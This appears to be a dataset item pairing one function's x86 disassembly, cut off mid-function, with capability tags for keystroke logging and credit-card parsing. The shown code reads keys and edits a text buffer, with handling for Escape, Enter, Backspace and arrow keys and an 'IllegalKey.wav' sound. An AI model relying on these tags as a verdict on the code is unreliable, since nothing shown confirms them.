Function at 0x568f20
Capabilities:
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x574
push ebx
push esi
push edi
lea edi, [ebp - 0x574]
mov ecx, 0x15d
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x14c], 0
mov byte [ebp - 0x155], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x194], 0
mov eax, dword [ebp + 0xc]
cmp eax, dword [0x823014]
jne 0x56907f
cmp dword [ebp + 0xc], 0
jne 0x5690cd
mov dword [0x822f64], 0
mov dword [0x823008], 0
mov dword [0x82300c], 0
mov dword [0x823010], 0
mov eax, dword [ebp + 0xc]
mov dword [0x823014], eax
mov dword [0x82301c], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
jne 0x5690cd
xor eax, eax
jmp 0x56d2b5
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.005345b2
add esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
call fcn.005354c1
add esp, 4
mov byte [ebp - 0x155], al
mov eax, dword [ebp + 0xc]
push eax
call fcn.0053412a
add esp, 4
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0xec]
push ecx
lea edx, [ebp - 0xa4]
push edx
push 0
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0xbc]
push edx
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00532532
add esp, 0x28
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532915
add esp, 4
mov dword [ebp - 0x110], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00534053
add esp, 4
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
and eax, 2
jne 0x5691a5
mov eax, dword [ebp - 0x11c]
and eax, 4
jne 0x5691a5
mov eax, dword [ebp - 0x11c]
and eax, 8
jne 0x5691a5
mov eax, dword [ebp - 0x11c]
and eax, 0x40
je 0x5691b1
mov dword [ebp - 0x128], 1
jmp 0x5691bb
mov dword [ebp - 0x128], 0
mov eax, dword [ebp - 0x11c]
and eax, 0x20
je 0x5691d2
mov dword [ebp - 0x164], 1
jmp 0x5691dc
mov dword [ebp - 0x164], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532118
add esp, 4
mov dword [ebp - 0x194], eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.0056e8e0
add esp, 8
cmp dword [0x82301c], 0
je 0x569227
mov eax, dword [ebp + 8]
push eax
call fcn.005340b7
add esp, 4
mov dword [0x82301c], 0
mov eax, 0x77
jmp 0x56d2b5
cmp dword [0x823018], 0
je 0x56926c
cmp dword [0x808600], 0
jl 0x56926c
cmp dword [0x808604], 0
jle 0x56926c
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
cmp dword [0x808600], eax
jne 0x56926c
mov eax, dword [0x808604]
cmp eax, dword [ebp - 0x188]
jne 0x56926c
mov dword [ebp - 8], 1
jmp 0x569273
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0
je 0x56928b
cmp dword [ebp - 0x14c], 0
je 0x56928b
cmp dword [ebp - 0x140], 0
jne 0x569292
xor eax, eax
jmp 0x56d2b5
cmp dword [ebp - 8], 0
jne 0x5692d8
mov dword [0x823018], 0
mov dword [0x808600], 0xffffffff
mov dword [0x808604], 0xffffffff
push 0x822f68
call fcn.005330b3
add esp, 4
test eax, eax
jne 0x5692d8
push 0x50
push 0
push 0x822f68
call fcn.00533469
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x140]
add eax, 1
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00533469
add esp, 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
cmp dword [ebp - 8], 0
je 0x569697
mov dword [ebp - 0x80], 0
jmp 0x569330
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax + 0x822f68]
test ecx, ecx
je 0x569370
mov eax, dword [ebp - 0x80]
cmp eax, dword [0x808604]
jge 0x569370
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x140]
jge 0x569370
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x80]
mov dl, byte [ecx + 0x822f68]
mov byte [eax], dl
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x569327
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1b8], 0xffffff22
mov dword [ebp - 0x1c4], 1
cmp dword [ebp - 0x1c4], 0xffffffff
je 0x5693b0
cmp dword [ebp - 0x1c4], 4
jne 0x5693ca
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1b8], eax
jmp 0x569584
cmp dword [ebp - 0x1c4], 0
jne 0x56948a
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x5693f3
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1a0], eax
jmp 0x569485
push 0
lea eax, [ebp - 0x1b8]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x569450
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x1b8]
add eax, 1
mov dword [ebp - 0x1b8], eax
jmp 0x569485
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x1b8], eax
jne 0x569485
mov dword [ebp - 0x1b8], 0xffffff22
jmp 0x569584
cmp dword [ebp - 0x1c4], 2
jne 0x56952c
push 0
lea eax, [ebp - 0x1b8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1b8], eax
jg 0x5694e4
cmp dword [ebp - 0x1a0], 0
jg 0x5694f5
mov eax, dword [ebp - 0x1b8]
sub eax, 1
mov dword [ebp - 0x1b8], eax
jmp 0x56950c
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x1b8], eax
jne 0x56952a
mov dword [ebp - 0x1b8], 0xffffff22
jmp 0x569584
cmp dword [ebp - 0x1c4], 3
jne 0x569575
push 0
lea eax, [ebp - 0x1b8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x1b8], eax
jne 0x569573
mov dword [ebp - 0x1b8], 0xffffff22
jmp 0x569584
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jge 0x569597
mov dword [ebp - 0x1a0], 0
mov eax, dword [ebp - 0x1a0]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
cmp eax, dword [ebp - 0x14]
jle 0x5695bd
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x1c4], 4
jne 0x5695fd
mov eax, dword [ebp - 0x1ac]
sub eax, dword [ebp - 0x1a0]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x1a0]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x569646
cmp dword [ebp - 0x1c4], 2
jne 0x569615
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56961f
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x1ac]
sub edx, dword [ebp - 0x1a0]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1a0]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x1b8], 0xffffff22
je 0x569668
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x1b8]
push ecx
call fcn.00532078
add esp, 8
mov dword [0x823018], 0
mov dword [0x808600], 0xffffffff
mov dword [0x808604], 0xffffffff
push 0x50
push 0
push 0x822f68
call fcn.00533469
add esp, 0xc
mov dword [ebp - 0x134], 0
call fcn.00533cd9
mov dword [ebp - 0x104], eax
cmp dword [0x7e62e0], 0
je 0x56d2a7
call fcn.005327cb
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
je 0x56c796
call fcn.00533cd9
mov dword [ebp - 0x104], eax
call fcn.00532a2d
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1b
jne 0x569721
mov eax, dword [ebp + 8]
push eax
call fcn.005340b7
add esp, 4
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, 0x1b
jmp 0x56d2b5
cmp dword [ebp - 0x2c], 0xd
je 0x569731
cmp dword [ebp - 0x2c], 0xa
jne 0x5698fb
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
cmp dword [ebp - 0x164], 0
je 0x569769
cmp dword [ebp - 0x14], 0
jne 0x569769
cmp dword [ebp - 0x134], 0
jne 0x569769
cmp dword [ebp - 0x194], 0
je 0x569769
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.0056e8e0
add esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.005330b3
add esp, 4
test eax, eax
jne 0x5697e0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
je 0x5697e0
push 0
push 0xffffffffffffffff
mov eax, dword [ebp + 0xc]
push eax
call fcn.00533086
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.005340b7
add esp, 4
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push 0
mov eax, dword [ebp - 0xa4]
push eax
push 2
call fcn.0056e990
add esp, 0x10
jmp 0x56c78c
mov eax, dword [ebp + 8]
push eax
call fcn.005330b3
add esp, 4
test eax, eax
je 0x5698c8
call fcn.00533cd9
sub eax, dword [0x822f64]
cmp eax, 0x190
jae 0x5698b2
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1dc], 0
lea eax, [ebp - 0x1dc]
push eax
lea ecx, [ebp - 0x1d0]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00535aa7
add esp, 0xc
call fcn.00533cd9
mov dword [0x822f64], eax
push 0xffffffffffffffff
mov eax, dword [ebp + 0xc]
push eax
call fcn.00533667
add esp, 8
test eax, eax
je 0x5698a3
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532947
add esp, 4
cmp eax, 3
jl 0x5698a3
cmp dword [ebp - 0x1d0], 0
jne 0x569877
cmp dword [ebp - 0x1dc], 0
je 0x5698a3
cmp dword [0x823008], 2
jl 0x5698a1
mov dword [ebp - 0x2c], 0
push 0
push 0
mov eax, dword [ebp - 0xb0]
push eax
push 1
call fcn.0056e990
add esp, 0x10
jmp 0x56c78c
jmp 0x5698b0
mov eax, dword [0x823008]
add eax, 1
mov dword [0x823008], eax
jmp 0x5698c6
call fcn.00533cd9
mov dword [0x822f64], eax
mov dword [0x823008], 0
jmp 0x5698ec
mov eax, dword [ebp - 0x17c]
sub eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x14]
imul ecx, ecx, 0x25
cmp eax, ecx
jae 0x5698ec
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.0056e8e0
add esp, 8
mov eax, 0xd
jmp 0x56d2b5
cmp dword [ebp - 0x2c], 8
jne 0x569cba
cmp dword [ebp - 0x20], 0
jle 0x569cb5
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
je 0x56995b
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x569cb5
cmp dword [ebp - 0x20], 0
jle 0x569cb5
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xf8]
push edx
push 2
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.005343d7
add esp, 8
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x14]
mov byte [ecx], 0
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x200], 0xffffff22
mov dword [ebp - 0x20c], 2
cmp dword [ebp - 0x20c], 0xffffffff
je 0x5699fd
cmp dword [ebp - 0x20c], 4
jne 0x569a17
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x200], eax
jmp 0x569bd1
cmp dword [ebp - 0x20c], 0
jne 0x569ad7
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x569a40
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1e8], eax
jmp 0x569ad2
push 0
lea eax, [ebp - 0x200]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x200]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x569a9d
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x200]
add eax, 1
mov dword [ebp - 0x200], eax
jmp 0x569ad2
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x200], eax
jne 0x569ad2
mov dword [ebp - 0x200], 0xffffff22
jmp 0x569bd1
cmp dword [ebp - 0x20c], 2
jne 0x569b79
push 0
lea eax, [ebp - 0x200]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x200], eax
jg 0x569b31
cmp dword [ebp - 0x1e8], 0
jg 0x569b42
mov eax, dword [ebp - 0x200]
sub eax, 1
mov dword [ebp - 0x200], eax
jmp 0x569b59
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x200], eax
jne 0x569b77
mov dword [ebp - 0x200], 0xffffff22
jmp 0x569bd1
cmp dword [ebp - 0x20c], 3
jne 0x569bc2
push 0
lea eax, [ebp - 0x200]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x200], eax
jne 0x569bc0
mov dword [ebp - 0x200], 0xffffff22
jmp 0x569bd1
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jge 0x569be4
mov dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x1e8]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x14]
jle 0x569c0a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x20c], 4
jne 0x569c4a
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1e8]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x1e8]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x569c93
cmp dword [ebp - 0x20c], 2
jne 0x569c62
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x569c6c
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x1f4]
sub edx, dword [ebp - 0x1e8]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1e8]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x200], 0xffffff22
je 0x569cb5
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x200]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56c785
cmp dword [ebp - 0x2c], 0xe0
jne 0x56bae8
call fcn.00532a2d
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x574]
sub ecx, 0x47
mov dword [ebp - 0x574], ecx
cmp dword [ebp - 0x574], 0x3f
ja case.0x569d01.3
mov edx, dword [ebp - 0x574]
movzx eax, byte [edx + 0x56d654]
jmp dword [eax*4 + 0x56d628]
cmp dword [ebp - 0x20], 0
jl 0x56a0d9
cmp dword [ebp - 0x14], 0
jle 0x56a0d9
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
je 0x569d68
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56a0d9
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jge 0x56a0d9
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
push 2
call fcn.0056e990
add esp, 0x10
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.005343d7
add esp, 8
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x14]
mov byte [ecx], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jl 0x569de0
cmp dword [ebp - 0x20], 0
jle 0x569de0
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x230], 0xffffff22
mov dword [ebp - 0x23c], 2
cmp dword [ebp - 0x23c], 0xffffffff
je 0x569e1a
cmp dword [ebp - 0x23c], 4
jne 0x569e34
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x230], eax
jmp 0x569fee
cmp dword [ebp - 0x23c], 0
jne 0x569ef4
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x569e5d
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x218], eax
jmp 0x569eef
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x230]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x569eba
mov eax, dword [ebp - 0x230]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x230]
add eax, 1
mov dword [ebp - 0x230], eax
jmp 0x569eef
mov eax, dword [ebp - 0x230]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x230], eax
jne 0x569eef
mov dword [ebp - 0x230], 0xffffff22
jmp 0x569fee
cmp dword [ebp - 0x23c], 2
jne 0x569f96
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x230]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x230], eax
jg 0x569f4e
cmp dword [ebp - 0x218], 0
jg 0x569f5f
mov eax, dword [ebp - 0x230]
sub eax, 1
mov dword [ebp - 0x230], eax
jmp 0x569f76
mov eax, dword [ebp - 0x230]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x230], eax
jne 0x569f94
mov dword [ebp - 0x230], 0xffffff22
jmp 0x569fee
cmp dword [ebp - 0x23c], 3
jne 0x569fdf
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x230], eax
jne 0x569fdd
mov dword [ebp - 0x230], 0xffffff22
jmp 0x569fee
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jge 0x56a001
mov dword [ebp - 0x218], 0
mov eax, dword [ebp - 0x218]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp - 0x14]
jle 0x56a027
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x23c], 4
jne 0x56a067
mov eax, dword [ebp - 0x224]
sub eax, dword [ebp - 0x218]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x218]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56a0b0
cmp dword [ebp - 0x23c], 2
jne 0x56a07f
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56a089
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x224]
sub edx, dword [ebp - 0x218]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x218]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x230], 0xffffff22
je 0x56a0d2
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
call fcn.00532078
add esp, 8
mov dword [ebp - 0x2c], 0
jmp 0x56bac3
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.0053587c
add esp, 8
test eax, eax
je 0x56a198
mov eax, dword [ebp + 0xc]
push eax
call fcn.00534a49
add esp, 4
test eax, eax
jne 0x56a198
cmp dword [ebp - 0x14], 0
jne 0x56a180
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56a166
cmp dword [ebp + 0xc], 0
je 0x56a166
mov dword [0x823018], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
mov dword [0x808600], eax
mov eax, dword [ebp - 0x188]
mov dword [0x808604], eax
push 0x50
mov eax, dword [ebp + 8]
push eax
push 0x822f68
call fcn.00535647
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, 0x26
jmp 0x56d2b5
push 0
push str.IllegalKey.wav
call fcn.005349bd
add esp, 8
mov dword [ebp - 0x2c], 0
jmp 0x56a1a1
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
jmp 0x56bac3
push 0xffffffffffffffff
mov eax, dword [ebp + 0xc]
push eax
call fcn.0053587c
add esp, 8
test eax, eax
je 0x56a260
mov eax, dword [ebp + 0xc]
push eax
call fcn.00534a49
add esp, 4
test eax, eax
jne 0x56a260
cmp dword [ebp - 0x14], 0
jne 0x56a248
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56a22e
cmp dword [ebp + 0xc], 0
je 0x56a22e
mov dword [0x823018], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
mov dword [0x808600], eax
mov eax, dword [ebp - 0x188]
mov dword [0x808604], eax
push 0x50
mov eax, dword [ebp + 8]
push eax
push 0x822f68
call fcn.00535647
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, 0x28
jmp 0x56d2b5
push 0
push str.IllegalKey.wav
call fcn.005349bd
add esp, 8
mov dword [ebp - 0x2c], 0
jmp 0x56a269
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
jmp 0x56bac3
cmp dword [ebp - 0x14], 0
jne 0x56a298
mov eax, dword [ebp + 0xc]
push eax
call fcn.005352e1
add esp, 4
test eax, eax
je 0x56a298
cmp dword [ebp - 0x44], 0
jle 0x56a298
mov eax, dword [ebp - 0x44]
sub eax, 1
mov dword [ebp - 0x44], eax
jmp 0x56a5fe
cmp dword [ebp - 0x20], 0
jle 0x56a5f7
mov dword [ebp - 0x248], 0
